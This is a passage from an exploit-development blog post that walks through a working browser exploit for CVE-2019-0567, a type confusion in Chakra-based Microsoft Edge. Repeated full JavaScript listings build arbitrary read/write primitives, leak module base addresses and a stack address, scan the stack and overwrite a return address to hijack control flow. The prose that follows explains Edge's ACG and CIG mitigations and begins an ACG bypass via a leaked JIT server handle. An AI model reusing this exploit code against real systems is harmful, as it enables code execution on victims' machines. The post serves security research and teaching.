    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // ---------------------------------------------------------------------------------------------

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Spawn an alert dialogue to pause execution
    alert("DEBUG");
}
</script>

As we can see, we have added a document.write() call to print out the address of our type pointer (from which we will leak a stack address) and then we also added an alert() call to create an “alert” dialogue. Since JavaScript will use temporary virtual memory (e.g. memory that isn’t really backed by disk in the form of a 0x7fff address that is backed by a loaded DLL) for objects, this address is only “consistent” for the duration of the process. Think of this in terms of ASLR - when, on Windows, you reboot the system, you can expect images to be loaded at different addresses. This is synonymous with the longevity of the address/address space used for JavaScript objects, except that it is on a “per-script basis” and not a per-boot basis (“per-script” basis is a made-up word by myself to represent the fact the address of a JavaScript object will change after each time the JavaScript code is ran). This is the reason we have the document.write() call and alert() call. The document.write() call will give us the address of our type object, and the alert() dialogue will actually work, in essence, like a breakpoint in that it will pause execution of JavaScript, HTML, or CSS code until the “alert” dialogue has been dealt with. In other words, the JavaScript code cannot be fully executed until the dialogue is dealt with, meaning all of the JavaScript code is loaded into the content process and cannot be released until it is dealt with. This will allow us examine the type pointer before it goes out of scope, and so we can examine it. We will use this same “setup” (e.g. alert() calls) to our advantage in debugging in the future.

If we run our exploit two separate times, we can confirm our theory about the type pointer changing addresses each time the JavaScript executes

Now, for “real” this time, let’s open up exploit.html in Edge and click the Click me to exploit CVE-2019-0567 button. This should bring up our “alert” dialogue.

As we can see, the type pointer is located at 0x1ca40d69100 (note you won’t be able to use copy and paste with the dialogue available, so you will have to manually type this value). Now that we know the address of the type pointer, we can use Process Hacker to locate our content process.

As we can see, the content process which uses the most RAM is PID 6464. This is our content process, where our exploit is currently executing (although paused). We now can use WinDbg to attach to the process and examine the memory contents of 0x1ca40d69100.

After inspecting the memory contents, we can confirm that this is a valid address - meaning our type pointer hasn’t gone out of scope! Although a bit of an arduous process, this is how we can successfully debug Edge for our exploit development!

Using the Project Zero issue as a guide, and leveraging the process outlined in part two of this blog series, we can talk various pointers within this structure to fetch a stack address!

The Google Project Zero issue explains that we essentially can just walk the type pointer to extract a ScriptContext structure which, in turn, contains ThreadContext. The ThreadContext structure is responsible, as we have see, for storing various stack addresses. Here are the offsets:

  1. type + 0x8 = JavaScriptLibrary
  2. JavaScriptLibrary + 0x430 = ScriptContext
  3. ScriptContext + 0x5c0 = ThreadContext

In our case, the ThreadContext structure is located at 0x1ca3d72a000.

Previously, we leaked the stackLimitForCurrentThread member of ThreadContext, which gave us essentially the stack limit for the exploiting thread. However, take a look at this address within Edge (located at ThreadContext + 0x4f0)

If we try to examine the memory contents of this address, we can see they are not committed to memory. This obviously means this address doesn’t fall within the bounds of the TEB’s known stack address(es) for our current thread.

As we can recall from part two, this was also the case. However, in ChakraCore, we could compute the offset from the leaked stackLimitForCurrentThread consistently between exploit attempts. Let’s compute the distance from our leaked stackLimitForCurrentThread with the actual stack limit from the TEB.

Here, at this point in the exploit, the leaked stack address is 0x1cf0000 bytes away from the actual stack limit we leaked via the TEB. Let’s exit out of WinDbg and re-run our exploit, while also leaking our stack address within WinDbg.

Our type pointer is located at 0x157acb19100.

After attaching Edge to WinDbg and walking the type object, we can see our leaked stack address via stackLimitForCurrentThread.

As we can see above, when computing the offset, our offset has changed to being 0x1c90000 bytes away from the actual stack limit. This poses a problem for us, as we cannot reliable compute the offset to the stack limit. Since the stack limit saved in the ThreadContext structure (stackForCurrentThreadLimit) is not committed to memory, we will actually get an access violation when attempting to dereference this memory. This means our exploit would be killed, meaning we also can’t “guess” the offset if we want our exploit to be reliable.

Before I pose the solution, I wanted to touch on something I first tried. Within the ThreadContext structure, there is a global variable named globalListFirst. This seems to be a linked-list within a ThreadContext structure which is used to track other instances of a ThreadContext structure. At an offset of 0x10 within this list (consistently, I found, in every attempt I made) there is actually a pointer to the heap.

Since it is possible via stackLimitForCurrentThread to at least leak an address around the current stack limit (with the upper 32-bits being the same across all stack addresses), and although there is a degree of variance between the offset from stackLimitForCurrentThread and the actual current stack limit (around 0x1cX0000 bytes as we saw between our two stack leak attempts), I used my knowledge of the heap to do the following:

  1. Leak the heap from chakra!ThreadContext::globalListFirst
  2. Using the read primitive, scan the heap for any stack addresses that are greater than the leaked stack address from stackLimitForCurrentThread

I found that about 50-60% of the time I could reliably leak a stack address from the heap. From there, about 50% of the time the stack address that was leaked from the heap was committed to memory. However, there was a varying degree of “failing” - meaning I would often get an access violation on the leaked stack address from the heap. Although I was only succeeding in about half of the exploit attempts, this is significantly greater than trying to “guess” the offset from the stackLimitForCurrenThread. However, after I got frustrated with this, I saw there was a much easier approach.

The reason why I didn’t take this approach earlier, is because the stackLimitForCurrentThread seemed to be from a thread stack which was no longer in memory. This can be seen below.

Looking at the above image, we can see only one active thread has a stack address that is anywhere near stackLimitForCurrentThread. However, if we look at the TEB for the single thread, the stack address we are leaking doesn’t fall anywhere within that range. This was disheartening for me, as I assumed any stack address I leaked from this ThreadContext structure was from a thread which was no longer active and, thus, its stack address space being decommitted. However, in the Google Project Zero issue - stackLimitForCurrentThread wasn’t the item leaked, it was leafInterpreterFrame. Since I had enjoyed success with stackLimitForCurrentThread in part two of this blog series, it didn’t cross my mind until much later to investigate this specific member.

If we take a look at the ThreadContext structure, we can see that at offset 0x8f0 that there is a stack address.

In fact, we can see two stack addresses. Both of them are committed to memory, as well!

If we compare this to Ivan’s findings in the Project Zero issue, we can see that he leaks two stack addresses at offset 0x8a0 and 0x8a8, just like we have leaked them at 0x8f0 and 0x8f8. We can therefore infer that these are the same stack addresses from the leafInterpreter member of ThreadContext, and that we are likely on a different version of Windows that Ivan, which likely means a different version of Edge and, thus, the slight difference in offset. For our exploit, you can choose either of these addresses. I opted for ThreadContext + 0x8f8.

Additionally, if we look at the address itself (0x1c2affaf60), we can see that this address doesn’t reside within the current thread.

However, we can clearly see that not only is this thread committed to memory, it is within the known bounds of another thread’s TEB tracking of the stack (note that the below diagram is confusing because the columns are unaligned. We are outlining the stack base and limit).

This means we can reliably locate a stack address for a currently executing thread! It is perfectly okay if we end up hijacking a return address within another thread because as we have the ability to read/write anywhere within the process space, and because the level of “private” address space Windows uses is on a per-process basis, we can still hijack any thread from the current process. In essence, it is perfectly valid to corrupt a return address on another thread to gain code execution. The “lower level details” are abstracted away from us when it comes to this concept, because regardless of what return address we overwrite, or when the thread terminates, it will have to return control-flow somewhere in memory. Since threads are constantly executing functions, we know that at some point the thread we are dealing with will receive priority for execution and the return address will be executed. If this makes no sense, do not worry. Our concept hasn’t changed in terms of overwriting a return address (be it in the current thread or another thread). We are not changing anything, from a foundational perspective, in terms of our stack leak and return address corruption between this blog post and part two of this blog series.

With that being said, here is how our exploit now looks with our stack leak.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");
}
</script>

After running our exploit, we can see that we have successfully leaked a stack address.

From our experimenting earlier, the offsets between the leaked stack addresses have a certain degree of variance between script runs. Because of this, there is no way for us to compute the base and limit of the stack with our leaked address, as the offset is set to change. Because of this, we will forgo the process of computing the stack limit. Instead, we will perform our stack scanning for return addresses from the address we have currently leaked. Let’s recall a previous image outlining the stack limit of the thread where we leaked a stack address at the time of the leak.

As we can see, we are towards the base of the stack. Since the stack grows “downwards”, as we can see with the stack base being located at a higher address than the actual stack limit, we will do our scanning in “reverse” order, in comparison to part two. For our purposes, we will do stack scanning by starting at our leaked stack address and traversing backwards towards the stack limit (which is the highest, technically “lowest” address the stack can grow towards).

We already outlined in part two of this blog post the methodology I used in terms of leaking a return address to corrupt. As mentioned then, the process is as follows:

  1. Traverse the stack using read primitive
  2. Print out all contents of the stack that are possible to read
  3. Look for anything starting with 0x7fff, meaning an address from a loaded module like chakra.dll
  4. Disassemble the address to see if it is an actual return address

While omitting much of the code from our full exploit, a stack scan would look like this (a scan used just to print out return addresses):

(...)truncated(...)

// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

// Print update
document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
document.write("<br>");

// Counter variable
let counter = 0x6000;

// Loop
while (counter != 0)
{
    // Store the contents of the stack
    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

    // Print update
    document.write("[+] Stack address 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));
    document.write("<br>");

    // Decrement the counter
    // This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
    counter -= 0x8;
}

As we can see above, we do this in “reverse” order of our ChakraCore exploit in part two. Since we don’t have the luxury of already knowing where the stack limit is, which is the “last” address that can be used by that thread’s stack, we can’t just traverse the stack by incrementing. Instead, since we are leaking an address towards the “base” of the stack, we have to decrement (since the stack grows downwards) towards the stack limit.

In other words, less technically, we have leaked somewhere towards the “bottom” of the stack and we want to walk towards the “top of the stack” in order to scan for return addresses. You’ll notice a few things about the previous code, the first being the arbitrary 0x6000 number. This number was found by trial and error. I started with 0x1000 and ran the loop to see if the exploit crashed. I kept incrementing the number until a crash started to ensue. A crash in this case refers to the fact we are likely reading from decommitted memory, meaning we will cause an access violation. The “gist” of this is to basically see how many bytes you can read without crashing, and those are the return addresses you can choose from. Here is how our output looks.

As we start to scroll down through the output, we can clearly see some return address starting to bubble up!

Since I already mentioned the “trial and error” approach in part two, which consists of overwriting a return address (after confirming it is one) and seeing if you end up controlling the instruction pointer by corrupting it, I won’t show this process here again. Just know, as mentioned, that this is just a matter of trial and error (in terms of my approach). The return address that I found worked best for me was chakra!Js::JavascriptFunction::CallFunction<1>+0x83 (again there is no “special” way to find it. I just started corrupting return address with 0x4141414141414141 and seeing if I caused an access violation with RIP being controlled to by the value 0x4141414141414141, or RSP being pointed to by this value at the time of the access violation).

This value can be seen in the stack leaking contents.

Why did I choose this return address? Again, it was an arduous process taking every stack address and overwriting it until one consistently worked. Additionally, a little less anecdotally, the symbol for this return address is with a function quite literally called CallFunction, which means its likely responsible for executing a function call of interpreted JavaScript. Because of this, we know a function will execute its code and then hand execution back to the caller via the return address. It is likely that this piece of code will be executed (the return address) since it is responsible for calling a function. However, there are many other options that you could choose from.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

Open the updated exploit.html script and attach WinDbg before pressing the Click me to exploit CVE-2019-0567! button.

After attaching to WinDbg and pressing g, go ahead and click the button (may require clicking twice in some instance to detonate the exploit). Please note that sometimes there is a slight edge case where the return address isn’t located on the stack. So if the debugger shows you crashing on the GetValue method, this is likely a case of that. After testing, 10/10 times I found the return address. However, it is possible once in a while to not encounter it. It is very rare.

After running exploit.html in the debugger, we can clearly see that we have overwritten a return address on the stack with 0x4141414141414141 and Edge is attempting to return into it. We have, again, successfully corrupted control-flow and can now redirect execution wherever we want in Edge. We went over all of this, as well, in part two of this blog series!

Now that we have our read/write primitive and control-flow hijacking ported to Edge, we can now begin our Edge-specific exploitation which involves many ROP chains to bypass Edge mitigations like Arbitrary Code Guard.

Arbitrary Code Guard && Code Integrity Guard

We are now at a point where our exploit has the ability to read/write memory, we control the instruction pointer, and we know where the stack is. With these primitives, exploitation should be as follows (in terms of where exploit development currently and traditionally is at):

  1. Bypass ASLR to determine memory layout (done)
  2. Achieve read/write primitive (done)
  3. Locate the stack (done)
  4. Control the instruction pointer (done)
  5. Write a ROP payload to the stack (TBD)
  6. Write shellcode to the stack (or somewhere else in memory) (TBD)
  7. Mark the stack (or regions where shellcode is) as RWX (TBD)
  8. Execute shellcode (TBD)

Steps 5 through 8 are required as a result of DEP. DEP, a mitigation which has been beaten to death, separates code and data segments of memory. The stack, being a data segment of memory (it is only there to hold data), is not executable whenever DEP is enabled. Because of this, we invoke a function like VirtualProtect (via ROP) to mark the region of memory we wrote our shellcode to (which is a data segment that allows data to be written to it) as RWX. I have documented this procedure time and time again. We leak an address (or abuse non-ASLR modules, which is very rare now), we use our primitive to write to the stack (stack-based buffer overflow in the two previous links provided), we mark the stack as RWX via ROP (the shellcode is also on the stack) and we are now allowed to execute our shellcode since its in a RWX region of memory. With that said, let me introduce a new mitigation into the fold - Arbitrary Code Guard (ACG).

ACG is a mitigation which prohibits any dynamically-generated RWX memory. This is manifested in a few ways, pointed out by Matt Miller in his blog post on ACG. As Matt points out:

“With ACG enabled, the Windows kernel prevents a content process from creating and modifying code pages in memory by enforcing the following policy:

  1. Code pages are immutable. Existing code pages cannot be made writable and therefore always have their intended content. This is enforced with additional checks in the memory manager that prevent code pages from becoming writable or otherwise being modified by the process itself. For example, it is no longer possible to use VirtualProtect to make an image code page become PAGE_EXECUTE_READWRITE.

  2. New, unsigned code pages cannot be created. For example, it is no longer possible to use VirtualAlloc to create a new PAGE_EXECUTE_READWRITE code page.”

What this means is that an attacker can write their shellcode to a data portion of memory (like the stack) all they want, gladly. However, the permissions needed (e.g. the memory must be explicitly marked executable by the adversary) can never be achieved with ACG enabled. At a high level, no memory permissions in Edge (specifically content processes, where our exploit lives) can be modified (we can’t write our shellcode to a code page nor can we modify a data page to execute our shellcode).

Now, you may be thinking - “Connor, instead of executing native shellcode in this manner, why don’t you just use WinExec like in your previous exploit from part two of this blog series to spawn cmd.exe or some other application to download some staged DLL and just load it into the process space?” This is a perfectly valid thought - and, thus, has already been addressed by Microsoft.

Edge has another small mitigation known as “no child processes”. This nukes any ability to spawn a child process to go inject some shellcode into another process, or load a DLL. Not only that, even if there was no mitigation for child processes, there is a “sister” mitigation to ACG called Code Integrity Guard (CIG) which also is present in Edge.

CIG essentially says that only Microsoft-signed DLLs can be loaded into the process space. So, even if we could reach out to a retrieve a staged DLL and get it onto the system, it isn’t possible for us to load it into the content process, as the DLL isn’t a signed DLL (inferring the DLL is a malicious one, it wouldn’t be signed).

So, to summarize, in Edge we cannot:

  1. Use VirtualProtect to mark the stack where our shellcode is to RWX in order to execute it
  2. We can’t use VirtualProtect to make a code page (RX memory) to writable in order to write our shellcode to this region of memory (using something like a WriteProcessMemory ROP chain)
  3. We cannot allocate RWX memory within the current process space using VirtualAlloc
  4. We cannot allocate RW memory with VirtualAlloc and then mark it as RX
  5. We cannot allocate RX memory with VirtualAlloc and then mark it as RW

With the advent of all three of these mitigations, previous exploitation strategies are all thrown out of the window. Let’s talk about how this changes our exploit strategy, now knowing we cannot just execute shellcode directly within the content process.

CVE-2017-8637 - Combining Vulnerabilities

As we hinted at, and briefly touched on earlier in this blog post, we know that something has to be done about JIT code with ACG enablement. This is because, by default, JIT code is generated as RWX. If we think about it, JIT’d code first starts out as an “empty” allocation (just like when we allocate some memory with VirtualAlloc). This memory is first marked as RW (it is writable because Chakra needs to actually write the code into it that will be executed into the allocation). We know that since there is no execute permission on this RW allocation, and this allocation has code that needs to be executed, the JIT engine has to change the region of memory to RX after its generated. This means the JIT engine has to generate dynamic code that has its memory permissions changed. Because of this, no JIT code can really be generated in an Edge process with ACG enabled. As pointed out in Matt’s blog post (and briefly mentioned by us) this architectural issue was addresses as follows:

“Modern web browsers achieve great performance by transforming JavaScript and other higher-level languages into native code. As a result, they inherently rely on the ability to generate some amount of unsigned native code in a content process. Enabling JIT compilers to work with ACG enabled is a non-trivial engineering task, but it is an investment that we’ve made for Microsoft Edge in the Windows 10 Creators Update. To support this, we moved the JIT functionality of Chakra into a separate process that runs in its own isolated sandbox. The JIT process is responsible for compiling JavaScript to native code and mapping it into the requesting content process. In this way, the content process itself is never allowed to directly map or modify its own JIT code pages.”

As we have already seen in this blog post, two processes are generated (JIT server and content process) and the JIT server is responsible for taking the JavaScript code from the content process and transforming it into machine code. This machine code is then mapped back into the content process with appropriate permissions (like that of the .text section, RX). The vulnerability (CVE-2017-8637) mentioned in this section of the blog post took advantage of a flaw in this architecture to compromise Edge fully and, thus, bypass ACG. Let’s talk about a bit about the architecture of the JIT server and content process communication channel first (please note that this vulnerability has been patched).

The last thing to note, however, is where Matt says that the JIT process was moved “…into a separate process that runs in its own isolated sandbox”. Notice how Matt did not say that it was moved into an ACG-compliant process (as we know, ACG isn’t compatible with JIT). Although the JIT process may be “sandboxed” it does not have ACG enabled. It does, however, have CIG and “no child processes” enabled. We will be taking advantage of the fact the JIT process doesn’t (and still to this day doesn’t, although the new V8 version of Edge only has ACG support in a special mode) have ACG enabled. With our ACG bypass, we will leverage a vulnerability with the way Chakra-based Edge managed communications (specifically via process a handle stored within the content process) to and from the JIT server. With that said, let’s move on.

Leaking The JIT Server Handle

The content process uses an RPC channel in order to communicate with the JIT server/process. I found this out by opening chakra.dll within IDA and searching for any functions which looked interesting and contained the word “JIT”. I found an interesting function named JITManager::ConnectRpcServer. What stood out to me immediately was a call to the function DuplicateHandle within JITManager::ConnectRpcServer.

If we look at ChakraCore we can see the source (which should be close between Chakra and ChakraCore) for this function. What was very interesting about this function is the fact that the first argument this function accepts is seemingly a “handle to the JIT process”.

Since chakra.dll contains the functionality of the Chakra JavaScript engine and since chakra.dll, as we know, is loaded into the content process - this functionality is accessible through the content process (where our exploit is running). This infers at some point the content process is doing something with what seems to be a handle to the JIT server. However, we know that the value of jitProcessHandle is supplied by the caller (e.g. the function which actually invokes JITManager::ConnectRpcServer). Using IDA, we can look for cross-references to this function to see what function is responsible for calling JITManager::ConnectRpcServer.

Taking a look at the above image, we can see the function ScriptEngine::SetJITConnectionInfo is responsible for calling JITManager::ConnectRpcServer and, thus, also for providing the JIT handle to the function. Let’s look at ScriptEngine::SetJITConnectionInfo to see exactly how this function provides the JIT handle to JITManager::ConnectRpcServer.

